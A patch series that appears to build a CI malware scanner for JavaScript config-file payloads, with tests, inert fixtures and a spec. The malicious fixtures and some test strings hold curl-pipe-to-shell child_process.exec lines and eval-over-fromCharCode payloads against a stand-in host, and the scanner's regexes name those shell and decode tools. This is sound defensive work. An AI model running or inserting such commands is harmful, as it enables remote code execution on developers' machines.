Path(args.json_out).write_text(out, encoding="utf-8") + return 1 if any(f.severity == "BLOCK" for f in findings) else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py new file mode 100644 index 0000000..2bbbd26 --- /dev/null +++ b/tests/malware-scan/test_scan.py @@ -0,0 +1,37 @@ +import json +import subprocess +import sys +import unittest +from pathlib import Path + +REPO = Path(__file__).resolve().parents[2] +SCAN = REPO / "scripts" / "malware-scan" / "scan.py" + + +def run_scan(*args: str) -> subprocess.CompletedProcess: + return subprocess.run( + [sys.executable, str(SCAN), *args], + capture_output=True, + text=True, + cwd=REPO, + ) + + +class TestCliContract(unittest.TestCase): + def test_clean_tree_exits_zero(self): + proc = run_scan("--paths", "src", "--json-out", "-") + self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr) + + def test_json_output_shape(self): + proc = run_scan("--paths", "src", "--json-out", "-") + data = json.loads(proc.stdout) + self.assertIn("findings", data) + self.assertIn("scanned", data) + + def test_unknown_rule_not_emitted_for_benign_text(self): + proc = run_scan("--paths", "src", "--json-out", "-") + self.assertEqual(json.loads(proc.stdout)["findings"], []) + + +if __name__ == "__main__": + unittest.main() From 5b77049e90e63f3fd1ee03d82bcbc06d6964a2c6 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 13:29:42 +0100 Subject: [PATCH 07/31] fix(malware-scan): map unexpected scanner exceptions to fail-safe exit 2 --- scripts/malware-scan/scan.py | 14 +++++++------- tests/malware-scan/test_scan.py | 9 +++++++++ 2 files changed, 16 insertions(+), 7 deletions(-) diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index 5ac5562..3a730eb 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -57,15 +57,15 @@ def main(argv: list[str] | None = None) -> int: args = ap.parse_args(argv) try: findings = run(args.paths) - except RuntimeError as exc: + payload = {"findings": [asdict(f) for f in findings], "scanned": args.paths} + out = json.dumps(payload, indent=2) + if args.json_out == "-": + print(out) + else: + Path(args.json_out).write_text(out, encoding="utf-8") + except Exception as exc: print(f"scanner error: {exc}", file=sys.stderr) return 2 - payload = {"findings": [asdict(f) for f in findings], "scanned": args.paths} - out = json.dumps(payload, indent=2) - if args.json_out == "-": - print(out) - else: - Path(args.json_out).write_text(out, encoding="utf-8") return 1 if any(f.severity == "BLOCK" for f in findings) else 0 diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 2bbbd26..8deb0da 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -32,6 +32,15 @@ def test_unknown_rule_not_emitted_for_benign_text(self): proc = run_scan("--paths", "src", "--json-out", "-") self.assertEqual(json.loads(proc.stdout)["findings"], []) + def test_unexpected_exception_maps_to_fail_safe_exit_2(self): + proc = run_scan( + "--paths", "src", + "--json-out", "/nonexistent-malware-scan-test-dir/out.json", + ) + self.assertEqual(proc.returncode, 2, proc.stdout + proc.stderr) + self.assertIn("scanner error", proc.stderr) + self.assertNotEqual(proc.returncode, 1) + if __name__ == "__main__": unittest.main() From 85ae645bb56a304bbdf47587c8c2570b158395fc Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 13:48:28 +0100 Subject: [PATCH 08/31] fix(malware-scan): fail closed on missing scan roots and prune path walking --- scripts/malware-scan/scan.py | 46 +++++++++++++++++++++++++++++------- 1 file changed, 38 insertions(+), 8 deletions(-) diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index 3a730eb..b1cd4e0 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -4,11 +4,16 @@ import argparse import json +import os import sys from dataclasses import asdict, dataclass from pathlib import Path -SEVERITIES = ("BLOCK", "WARN") +SEVERITIES = {"BLOCK", "WARN"} +SKIP_DIR_NAMES = {"malware-scan", ".git", "node_modules", "__pycache__"} +MAX_FILE_BYTES = 5 * 1024 * 1024 + +TEXT_RULES: list = [] @dataclass(frozen=True) @@ -19,23 +24,48 @@ class Finding: line: int message: str + def __post_init__(self) -> None: + if self.severity not in SEVERITIES: + raise ValueError(f"invalid severity: {self.severity}") + def scan_text(path: str, text: str) -> list[Finding]: """Run all text rules over one file. Rules are added in later tasks.""" - return [] + findings: list[Finding] = [] + for rule in TEXT_RULES: + findings.extend(rule(path, text)) + return findings + + +def _include_file(q: Path) -> bool: + if q.is_symlink() or not q.is_file(): + return False + # Oversized/binary content is handled by diff-mode rules later. + return q.stat().st_size <= MAX_FILE_BYTES def iter_scan_paths(paths: list[str]) -> list[Path]: out: list[Path] = [] for raw in paths: p = Path(raw) - if p.is_file(): + if not p.exists(): + raise RuntimeError(f"scan path does not exist: {raw}") + if p.is_symlink(): + continue + if p.is_dir(): + found: list[Path] = [] + for dirpath, dirnames, filenames in os.walk(p): + dirnames[:] = sorted(d for d in dirnames if d not in SKIP_DIR_NAMES) + for name in sorted(filenames): + q = Path(dirpath) / name + if not _include_file(q): + continue + if "malware-scan" in q.parts: + continue + found.append(q) + out.extend(sorted(found)) + elif _include_file(p): out.append(p) - elif p.is_dir(): - out.extend( - q for q in sorted(p.rglob("*")) - if q.is_file() and "malware-scan" not in q.parts - ) return out From 64ef6f539b9ea9b777622f11aa23ee0aaffa9bbc Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 13:48:28 +0100 Subject: [PATCH 09/31] test(malware-scan): direct unit tests for path walking and finding contract --- .gitignore | 1 + tests/malware-scan/test_scan.py | 57 +++++++++++++++++++++++++++++++++ 2 files changed, 58 insertions(+) diff --git a/.gitignore b/.gitignore index d197041..a7f07d9 100644 --- a/.gitignore +++ b/.gitignore @@ -7,3 +7,4 @@ coverage/ !.env.test.example *.log .worktrees/ +__pycache__/ diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 8deb0da..1cc8c79 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -1,12 +1,19 @@ import json import subprocess import sys +import tempfile import unittest +from importlib.util import module_from_spec, spec_from_file_location from pathlib import Path REPO = Path(__file__).resolve().parents[2] SCAN = REPO / "scripts" / "malware-scan" / "scan.py" +_spec = spec_from_file_location("scan_mod", SCAN) +scan_mod = module_from_spec(_spec) +sys.modules["scan_mod"] = scan_mod +_spec.loader.exec_module(scan_mod) + def run_scan(*args: str) -> subprocess.CompletedProcess: return subprocess.run( @@ -42,5 +49,55 @@ def test_unexpected_exception_maps_to_fail_safe_exit_2(self): self.assertNotEqual(proc.returncode, 1) +class TestPathWalking(unittest.TestCase): + def test_iter_scan_paths_returns_files(self): + files = scan_mod.iter_scan_paths(["src"]) + self.assertGreater(len(files), 0) + + def test_missing_path_raises_runtime_error(self): + with self.assertRaises(RuntimeError): + scan_mod.iter_scan_paths(["does-not-exist"]) + + def test_symlink_entry_skipped(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + real = root / "real.txt" + real.write_text("hello") + (root / "link.txt").symlink_to(real) + files = scan_mod.iter_scan_paths([str(root)]) + self.assertIn(real, files) + self.assertNotIn(root / "link.txt", files) + + def test_prunes_git_node_modules_pycache(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + keep = root / "keep" / "file.txt" + keep.parent.mkdir() + keep.write_text("keep") + for name in (".git", "node_modules", "__pycache__"): + d = root / name + d.mkdir() + (d / "junk.txt").write_text("junk") + files = scan_mod.iter_scan_paths([str(root)]) + self.assertEqual(files, [keep]) + + def test_skips_oversized_files(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + small = root / "small.txt" + small.write_text("ok") + big = root / "big.bin" + with open(big, "wb") as fh: + fh.truncate(5 * 1024 * 1024 + 1) + files = scan_mod.iter_scan_paths([str(root)]) + self.assertEqual(files, [small]) + + +class TestFindingContract(unittest.TestCase): + def test_invalid_severity_raises_value_error(self): + with self.assertRaises(ValueError): + scan_mod.Finding("X", "BAD", "path", 1, "bad severity") + + if __name__ == "__main__": unittest.main() From 9863507c5cfc48f43d66e1bed6a105fd13d974e8 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 13:57:25 +0100 Subject: [PATCH 10/31] fix(malware-scan): fail closed on explicitly named excluded roots; raise on walk errors --- scripts/malware-scan/scan.py | 19 ++++++++++++++----- tests/malware-scan/test_scan.py | 31 +++++++++++++++++++++++++++++-- 2 files changed, 43 insertions(+), 7 deletions(-) diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index b1cd4e0..3742422 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -8,13 +8,12 @@ import sys from dataclasses import asdict, dataclass from pathlib import Path +from typing import Callable SEVERITIES = {"BLOCK", "WARN"} SKIP_DIR_NAMES = {"malware-scan", ".git", "node_modules", "__pycache__"} MAX_FILE_BYTES = 5 * 1024 * 1024 -TEXT_RULES: list = [] - @dataclass(frozen=True) class Finding: @@ -29,6 +28,10 @@ def __post_init__(self) -> None: raise ValueError(f"invalid severity: {self.severity}") +Rule = Callable[[str, str], list[Finding]] +TEXT_RULES: list[Rule] = [] + + def scan_text(path: str, text: str) -> list[Finding]: """Run all text rules over one file. Rules are added in later tasks.""" findings: list[Finding] = [] @@ -44,6 +47,10 @@ def _include_file(q: Path) -> bool: return q.stat().st_size <= MAX_FILE_BYTES +def _walk_error(exc: OSError) -> None: + raise RuntimeError(f"cannot walk {exc.filename}: {exc}") from exc + + def iter_scan_paths(paths: list[str]) -> list[Path]: out: list[Path] = [] for raw in paths: @@ -51,10 +58,10 @@ def iter_scan_paths(paths: list[str]) -> list[Path]: if not p.exists(): raise RuntimeError(f"scan path does not exist: {raw}") if p.is_symlink(): - continue + raise RuntimeError(f"scan path is a symlink: {raw}") if p.is_dir(): found: list[Path] = [] - for dirpath, dirnames, filenames in os.walk(p): + for dirpath, dirnames, filenames in os.walk(p, onerror=_walk_error): dirnames[:] = sorted(d for d in dirnames if d not in SKIP_DIR_NAMES) for name in sorted(filenames): q = Path(dirpath) / name @@ -64,7 +71,9 @@ def iter_scan_paths(paths: list[str]) -> list[Path]: continue found.append(q) out.extend(sorted(found)) - elif _include_file(p): + else: + if not _include_file(p) or "malware-scan" in p.parts: + raise RuntimeError(f"scan path is excluded by scanner policy: {raw}") out.append(p) return out diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 1cc8c79..ca7121d 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -48,11 +48,20 @@ def test_unexpected_exception_maps_to_fail_safe_exit_2(self): self.assertIn("scanner error", proc.stderr) self.assertNotEqual(proc.returncode, 1) + def test_missing_path_exits_two(self): + proc = run_scan("--paths", "does-not-exist", "--json-out", "-") + self.assertEqual(proc.returncode, 2, proc.stdout + proc.stderr) + self.assertIn("scanner error", proc.stderr) + class TestPathWalking(unittest.TestCase): def test_iter_scan_paths_returns_files(self): - files = scan_mod.iter_scan_paths(["src"]) - self.assertGreater(len(files), 0) + with tempfile.TemporaryDirectory() as td: + root = Path(td) + for name in ("a.txt", "b.txt"): + (root / name).write_text("x") + files = scan_mod.iter_scan_paths([str(root)]) + self.assertEqual(files, [root / "a.txt", root / "b.txt"]) def test_missing_path_raises_runtime_error(self): with self.assertRaises(RuntimeError): @@ -92,6 +101,24 @@ def test_skips_oversized_files(self): files = scan_mod.iter_scan_paths([str(root)]) self.assertEqual(files, [small]) + def test_explicit_symlink_root_raises(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + real = root / "real.txt" + real.write_text("hello") + link = root / "link.txt" + link.symlink_to(real) + with self.assertRaises(RuntimeError): + scan_mod.iter_scan_paths([str(link)]) + + def test_explicit_oversized_root_raises(self): + with tempfile.TemporaryDirectory() as td: + big = Path(td) / "big.bin" + with open(big, "wb") as fh: + fh.truncate(5 * 1024 * 1024 + 1) + with self.assertRaises(RuntimeError): + scan_mod.iter_scan_paths([str(big)]) + class TestFindingContract(unittest.TestCase): def test_invalid_severity_raises_value_error(self): From e9abf4c9a016646f19e35f82bcfe4c155f635b43 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 14:13:13 +0100 Subject: [PATCH 11/31] feat(malware-scan): PolinRider config-append and obfuscation rules --- scripts/malware-scan/scan.py | 61 ++++++++++++++++++- tests/malware-scan/fixtures/README.md | 5 ++ .../fixtures/benign/eslint.config.mjs | 2 + .../fixtures/benign/tailwind.config.js | 6 ++ .../malicious/polin-config-append.config.js | 6 ++ .../malicious/polin-obfuscated.config.mjs | 2 + tests/malware-scan/test_scan.py | 19 ++++++ 7 files changed, 100 insertions(+), 1 deletion(-) create mode 100644 tests/malware-scan/fixtures/README.md create mode 100644 tests/malware-scan/fixtures/benign/eslint.config.mjs create mode 100644 tests/malware-scan/fixtures/benign/tailwind.config.js create mode 100644 tests/malware-scan/fixtures/malicious/polin-config-append.config.js create mode 100644 tests/malware-scan/fixtures/malicious/polin-obfuscated.config.mjs diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index 3742422..6635146 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -5,6 +5,7 @@ import argparse import json import os +import re import sys from dataclasses import asdict, dataclass from pathlib import Path @@ -33,13 +34,71 @@ def __post_init__(self) -> None: def scan_text(path: str, text: str) -> list[Finding]: - """Run all text rules over one file. Rules are added in later tasks.""" + """Run all registered text rules over one file.""" findings: list[Finding] = [] for rule in TEXT_RULES: findings.extend(rule(path, text)) return findings +CONFIG_FILE_RE = re.compile(r"\.config\.(js|cjs|mjs)$") +LONG_B64_RE = re.compile(r"[A-Za-z0-9+/=]{200,}") +FROM_CHARCODE_RE = re.compile(r"String\s*\[\s*['\"]fromCharCode|String\.fromCharCode") +DECODE_FN_RE = re.compile(r"\b(eval|Function|setTimeout|setInterval)\s*\(") +DECODE_ALIAS_RE = re.compile(r"\batob\b|Buffer\s*\[\s*['\"]from") +BRACKET_ONLY_RE = re.compile(r"(?:\[\s*['\"][A-Za-z_$][\w$]*['\"]\s*\]\s*){4,}") +NETWORK_RE = re.compile(r"\b(fetch|XMLHttpRequest|http\.request|https\.request|child_process|exec|spawn)\b") +MODULE_END_RE = re.compile(r"^\s*(\};?|export\s+default\s+.*\};?)\s*$") + + +def _is_config_file(path: str) -> bool: + return bool(CONFIG_FILE_RE.search(Path(path).name)) + + +def _has_decode_construct(tail: str) -> bool: + return bool(FROM_CHARCODE_RE.search(tail) or DECODE_ALIAS_RE.search(tail)) + + +def rule_polin_config_append(path: str, text: str) -> list[Finding]: + if not _is_config_file(path): + return [] + out = [] + lines = text.splitlines() + ended_at = None + for i, ln in enumerate(lines): + if MODULE_END_RE.match(ln): + ended_at = i + if ended_at is not None: + tail = "\n".join(lines[ended_at + 1:]) + if tail.strip() and NETWORK_RE.search(tail) and ( + BRACKET_ONLY_RE.search(tail) or LONG_B64_RE.search(tail) or _has_decode_construct(tail) + ): + out.append(Finding("POLIN-CONFIG-APPEND", "BLOCK", path, ended_at + 2, + "suspicious code appended after module end in a build config (PolinRider config-file payload pattern)")) + return out + + +def rule_polin_obfuscated_js(path: str, text: str) -> list[Finding]: + out = [] + for i, ln in enumerate(text.splitlines(), 1): + hits = [] + if LONG_B64_RE.search(ln): + hits.append("long base64/hex literal") + if BRACKET_ONLY_RE.search(ln): + hits.append("bracket-notation-only identifier chain") + if FROM_CHARCODE_RE.search(ln) and DECODE_FN_RE.search(text): + hits.append("fromCharCode feeding eval/Function") + if DECODE_FN_RE.search(ln) and DECODE_ALIAS_RE.search(ln): + hits.append("eval over decoded input") + if hits and (NETWORK_RE.search(ln) or DECODE_FN_RE.search(ln)): + out.append(Finding("POLIN-OBFUSCATED-JS", "BLOCK", path, i, + "obfuscated JavaScript construct: " + "; ".join(hits))) + return out + + +TEXT_RULES.extend([rule_polin_config_append, rule_polin_obfuscated_js]) + + def _include_file(q: Path) -> bool: if q.is_symlink() or not q.is_file(): return False diff --git a/tests/malware-scan/fixtures/README.md b/tests/malware-scan/fixtures/README.md new file mode 100644 index 0000000..138e32d --- /dev/null +++ b/tests/malware-scan/fixtures/README.md @@ -0,0 +1,5 @@ +# Test fixtures — INERT + +These files are synthetic samples for scanner unit tests. They are not +functional code: URLs are non-routable (example.invalid), tokens are dummy, +and payload fragments cannot execute. Do not fix them to run. diff --git a/tests/malware-scan/fixtures/benign/eslint.config.mjs b/tests/malware-scan/fixtures/benign/eslint.config.mjs new file mode 100644 index 0000000..65f3600 --- /dev/null +++ b/tests/malware-scan/fixtures/benign/eslint.config.mjs @@ -0,0 +1,2 @@ +import js from "@eslint/js"; +export default [js.configs.recommended, { rules: { "no-eval": "error" } }]; diff --git a/tests/malware-scan/fixtures/benign/tailwind.config.js b/tests/malware-scan/fixtures/benign/tailwind.config.js new file mode 100644 index 0000000..3574fbd --- /dev/null +++ b/tests/malware-scan/fixtures/benign/tailwind.config.js @@ -0,0 +1,6 @@ +/** @type {import('tailwindcss').Config} */ +module.exports = { + content: ["./src/**/*.{ts,tsx}"], + theme: { extend: {} }, + plugins: [], +}; diff --git a/tests/malware-scan/fixtures/malicious/polin-config-append.config.js b/tests/malware-scan/fixtures/malicious/polin-config-append.config.js new file mode 100644 index 0000000..4a39f85 --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/polin-config-append.config.js @@ -0,0 +1,6 @@ +module.exports = { + content: ["./src/**/*.{ts,tsx}"], +}; +/* trailing block below mimics the PolinRider append pattern */ +var _0x1 = Buffer["from"]("aHR0cDovL2V4YW1wbGUuaW52YWxpZA==","base64")["toString"](); +require("child_process")["exec"]("curl -s http://example.invalid/p | sh"); diff --git a/tests/malware-scan/fixtures/malicious/polin-obfuscated.config.mjs b/tests/malware-scan/fixtures/malicious/polin-obfuscated.config.mjs new file mode 100644 index 0000000..b8c4c3d --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/polin-obfuscated.config.mjs @@ -0,0 +1,2 @@ +export default { plugins: [] }; +eval(String["fromCharCode"](104,116,116,112,115,58,47,47,101,120,97,109,112,108,101,46,105,110,118,97,108,105,100)); diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index ca7121d..0a3bddb 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -8,6 +8,7 @@ REPO = Path(__file__).resolve().parents[2] SCAN = REPO / "scripts" / "malware-scan" / "scan.py" +FIXTURES = Path(__file__).resolve().parent / "fixtures" _spec = spec_from_file_location("scan_mod", SCAN) scan_mod = module_from_spec(_spec) @@ -126,5 +127,23 @@ def test_invalid_severity_raises_value_error(self): scan_mod.Finding("X", "BAD", "path", 1, "bad severity") +class TestPolinConfigRules(unittest.TestCase): + def test_config_append_detected(self): + p = FIXTURES / "malicious" / "polin-config-append.config.js" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_obfuscated_js_detected(self): + p = FIXTURES / "malicious" / "polin-obfuscated.config.mjs" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + + def test_benign_configs_clean(self): + for name in ("tailwind.config.js", "eslint.config.mjs"): + p = FIXTURES / "benign" / name + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertEqual(found, [], name) + + if __name__ == "__main__": unittest.main() From ebdc63ac509bd0d7aaee2efa0ed7a603fc2ea34a Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 14:47:07 +0100 Subject: [PATCH 12/31] fix(malware-scan): close PolinRider rule detection gaps (unescape, standalone constructs, plain appends) --- scripts/malware-scan/scan.py | 97 +++++++++++++++++++++++++++------ tests/malware-scan/test_scan.py | 70 ++++++++++++++++++++++++ 2 files changed, 149 insertions(+), 18 deletions(-) diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index 6635146..00c60f9 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -45,52 +45,113 @@ def scan_text(path: str, text: str) -> list[Finding]: LONG_B64_RE = re.compile(r"[A-Za-z0-9+/=]{200,}") FROM_CHARCODE_RE = re.compile(r"String\s*\[\s*['\"]fromCharCode|String\.fromCharCode") DECODE_FN_RE = re.compile(r"\b(eval|Function|setTimeout|setInterval)\s*\(") -DECODE_ALIAS_RE = re.compile(r"\batob\b|Buffer\s*\[\s*['\"]from") -BRACKET_ONLY_RE = re.compile(r"(?:\[\s*['\"][A-Za-z_$][\w$]*['\"]\s*\]\s*){4,}") +DECODE_ALIAS_RE = re.compile(r"\batob\b|Buffer\s*\[\s*['\"]from|\bunescape\b") +BRACKET_ONLY_RE = re.compile(r"(?:\[\s*['\"][A-Za-z_$][\w$]*['\"]\s*\]\s*){3,}") NETWORK_RE = re.compile(r"\b(fetch|XMLHttpRequest|http\.request|https\.request|child_process|exec|spawn)\b") -MODULE_END_RE = re.compile(r"^\s*(\};?|export\s+default\s+.*\};?)\s*$") +MODULE_END_RE = re.compile(r"^\s*(?:[])}]+;?|(?:export\s+default|module\.exports\s*=)\s*.*;)\s*$") +EVAL_RE = re.compile(r"\beval\s*\(|\[\s*['\"]eval['\"]\s*\]\s*\(") +APPEND_SUS_RE = re.compile( + r"\bexec\s*\(|\[\s*['\"]exec['\"]\s*\]\s*\(" + r"|\beval\s*\(|\[\s*['\"]eval['\"]\s*\]\s*\(" + r"|\bchild_process\b" + r"|(?:curl|wget)\b[^|\n]*\|\s*(?:ba)?sh\b" +) +APPEND_NET_RE = re.compile(r"\b(fetch|XMLHttpRequest|https?\.request)\b") +APPEND_POST_RE = re.compile(r"(?i)(?:method\s*:\s*['\"]post\b|\.post\s*\(|['\"]post['\"])") def _is_config_file(path: str) -> bool: return bool(CONFIG_FILE_RE.search(Path(path).name)) -def _has_decode_construct(tail: str) -> bool: - return bool(FROM_CHARCODE_RE.search(tail) or DECODE_ALIAS_RE.search(tail)) +def _strip_js_comments(text: str) -> str: + out = [] + i, n = 0, len(text) + mode = None + while i < n: + c = text[i] + nxt = text[i + 1] if i + 1 < n else "" + if mode is None: + if c == "/" and nxt == "/": + mode = "//" + i += 2 + continue + if c == "/" and nxt == "*": + mode = "/*" + i += 2 + continue + if c in ("'", '"', "`"): + mode = c + out.append(c) + i += 1 + elif mode in ("'", '"', "`"): + if c == "\\": + out.append(c) + if i + 1 < n: + out.append(text[i + 1]) + i += 2 + continue + if c == mode: + mode = None + out.append(c) + i += 1 + elif mode == "//": + if c == "\n": + mode = None + out.append(c) + i += 1 + else: + if c == "*" and nxt == "/": + mode = None + i += 2 + continue + if c == "\n": + out.append(c) + i += 1 + return "".join(out) + + +def _tail_is_suspicious(tail: str) -> bool: + code = _strip_js_comments(tail) + if APPEND_SUS_RE.search(code): + return True + return bool(APPEND_NET_RE.search(code) and APPEND_POST_RE.search(code)) def rule_polin_config_append(path: str, text: str) -> list[Finding]: if not _is_config_file(path): return [] - out = [] lines = text.splitlines() ended_at = None for i, ln in enumerate(lines): - if MODULE_END_RE.match(ln): + if MODULE_END_RE.match(ln) and _tail_is_suspicious("\n".join(lines[i + 1:])): ended_at = i if ended_at is not None: - tail = "\n".join(lines[ended_at + 1:]) - if tail.strip() and NETWORK_RE.search(tail) and ( - BRACKET_ONLY_RE.search(tail) or LONG_B64_RE.search(tail) or _has_decode_construct(tail) - ): - out.append(Finding("POLIN-CONFIG-APPEND", "BLOCK", path, ended_at + 2, - "suspicious code appended after module end in a build config (PolinRider config-file payload pattern)")) - return out + return [Finding("POLIN-CONFIG-APPEND", "BLOCK", path, ended_at + 2, + "suspicious code appended after module end in a build config (PolinRider config-file payload pattern)")] + return [] def rule_polin_obfuscated_js(path: str, text: str) -> list[Finding]: out = [] - for i, ln in enumerate(text.splitlines(), 1): + lines = text.splitlines() + has_decode_fn = bool(DECODE_FN_RE.search(text)) + has_from_charcode = bool(FROM_CHARCODE_RE.search(text)) + has_decode_alias = bool(DECODE_ALIAS_RE.search(text)) + has_network = bool(NETWORK_RE.search(text)) + for i, ln in enumerate(lines, 1): hits = [] if LONG_B64_RE.search(ln): hits.append("long base64/hex literal") if BRACKET_ONLY_RE.search(ln): hits.append("bracket-notation-only identifier chain") - if FROM_CHARCODE_RE.search(ln) and DECODE_FN_RE.search(text): + if (FROM_CHARCODE_RE.search(ln) and has_decode_fn) or (DECODE_FN_RE.search(ln) and has_from_charcode): hits.append("fromCharCode feeding eval/Function") - if DECODE_FN_RE.search(ln) and DECODE_ALIAS_RE.search(ln): + if (DECODE_ALIAS_RE.search(ln) and has_decode_fn) or (DECODE_FN_RE.search(ln) and has_decode_alias): hits.append("eval over decoded input") - if hits and (NETWORK_RE.search(ln) or DECODE_FN_RE.search(ln)): + if EVAL_RE.search(ln) and has_network: + hits.append("eval combined with network/process API") + if hits: out.append(Finding("POLIN-OBFUSCATED-JS", "BLOCK", path, i, "obfuscated JavaScript construct: " + "; ".join(hits))) return out diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 0a3bddb..4685d40 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -145,5 +145,75 @@ def test_benign_configs_clean(self): self.assertEqual(found, [], name) + +class TestPolinConfigAppendGaps(unittest.TestCase): + def test_config_append_plain_curl_tail_detected(self): + text = ( + "module.exports = {\n" + ' content: ["./src/**/*.{ts,tsx}"],\n' + "};\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("webpack.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_config_append_one_liner_module_exports_detected(self): + text = ( + "module.exports = { plugins: [] };\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("rollup.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_config_append_define_config_closing_detected(self): + text = ( + "export default defineConfig({\n" + " plugins: [],\n" + "});\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("vite.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_config_append_comment_only_tail_silent(self): + text = ( + "module.exports = {\n" + ' content: ["./src/**/*.{ts,tsx}"],\n' + "};\n" + "// trailing note mentioning exec and curl | sh for documentation\n" + ) + found = scan_mod.scan_text("tailwind.config.js", text) + self.assertEqual(found, []) + + +class TestPolinObfuscatedJsGaps(unittest.TestCase): + def test_unescape_feeding_eval_detected(self): + for text in ( + 'var s = unescape("%61%62%63");\neval(s);\n', + 'var s = unescape("%61%62%63"); eval(s);\n', + ): + found = scan_mod.scan_text("payload.js", text) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}, text) + + def test_eval_with_child_process_detected(self): + for text in ( + 'eval(s); require("child_process").exec("id");\n', + 'eval(s);\nrequire("child_process").exec("id");\n', + ): + found = scan_mod.scan_text("payload.js", text) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}, text) + + def test_standalone_long_base64_literal_detected(self): + blob = "QUJD" * 55 + self.assertGreaterEqual(len(blob), 200) + text = 'var k = "%s";\n' % blob + found = scan_mod.scan_text("bundle.js", text) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + + def test_standalone_bracket_chain_detected(self): + text = 'var x = obj["alpha"]["beta"]["gamma"];\n' + found = scan_mod.scan_text("plain.js", text) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + if __name__ == "__main__": unittest.main() From 49a2085a734521f4b03de7927a876385a2b5be5c Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 14:47:48 +0100 Subject: [PATCH 13/31] docs: refine PolinRider rule criteria in spec to implemented precision --- docs/compose/specs/2026-11-19-malware-protection-ci-design.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/compose/specs/2026-11-19-malware-protection-ci-design.md b/docs/compose/specs/2026-11-19-malware-protection-ci-design.md index 7691602..ae993b7 100644 --- a/docs/compose/specs/2026-11-19-malware-protection-ci-design.md +++ b/docs/compose/specs/2026-11-19-malware-protection-ci-design.md @@ -56,8 +56,8 @@ Rule catalog (stable rule IDs; all rules emit `file:line rule-ID message`): | Rule ID | Detects | |---|---| -| `POLIN-CONFIG-APPEND` | Non-comment content appended after the apparent end of a JS/MJS/CJS config module (config-file TTP) | -| `POLIN-OBFUSCATED-JS` | Obfuscation constructs: long base64/hex literals (>=200 chars), `String.fromCharCode`/`atob`/`unescape` feeding `eval`/`Function`, bracket-notation-only identifier chains, `eval(…)` combined with network or process APIs | +| `POLIN-CONFIG-APPEND` | Non-comment content containing execution/network primitives (exec/eval calls, `child_process`, curl-to-shell pipes, network+POST) appended after the apparent end of a JS/MJS/CJS config module (config-file TTP). Blank/comment-only tails and benign appended helper code stay silent to keep precision | +| `POLIN-OBFUSCATED-JS` | Obfuscation constructs (each fires standalone): long base64/hex literals (>=200 chars), `String.fromCharCode`/`atob`/`unescape` feeding `eval`/`Function` (including cross-statement), bracket-notation-only identifier chains (3+ consecutive bracket accesses), `eval(…)` combined with network or process APIs | | `POLIN-VSCODE-TASKS` | `.vscode/tasks.json` command lines containing `curl`/`wget`/`iwr` piped to a shell, or `base64 -d \| sh` style decode-and-execute | | `STEAL-TOKEN-EXFIL` | Reads of `GITHUB_TOKEN`/`process.env.*TOKEN*`/`~/.ssh`/credential stores combined with outbound network calls (`fetch`, `http.request`, `child_process` + curl) | | `HOOK-MALICIOUS-SCRIPT` | 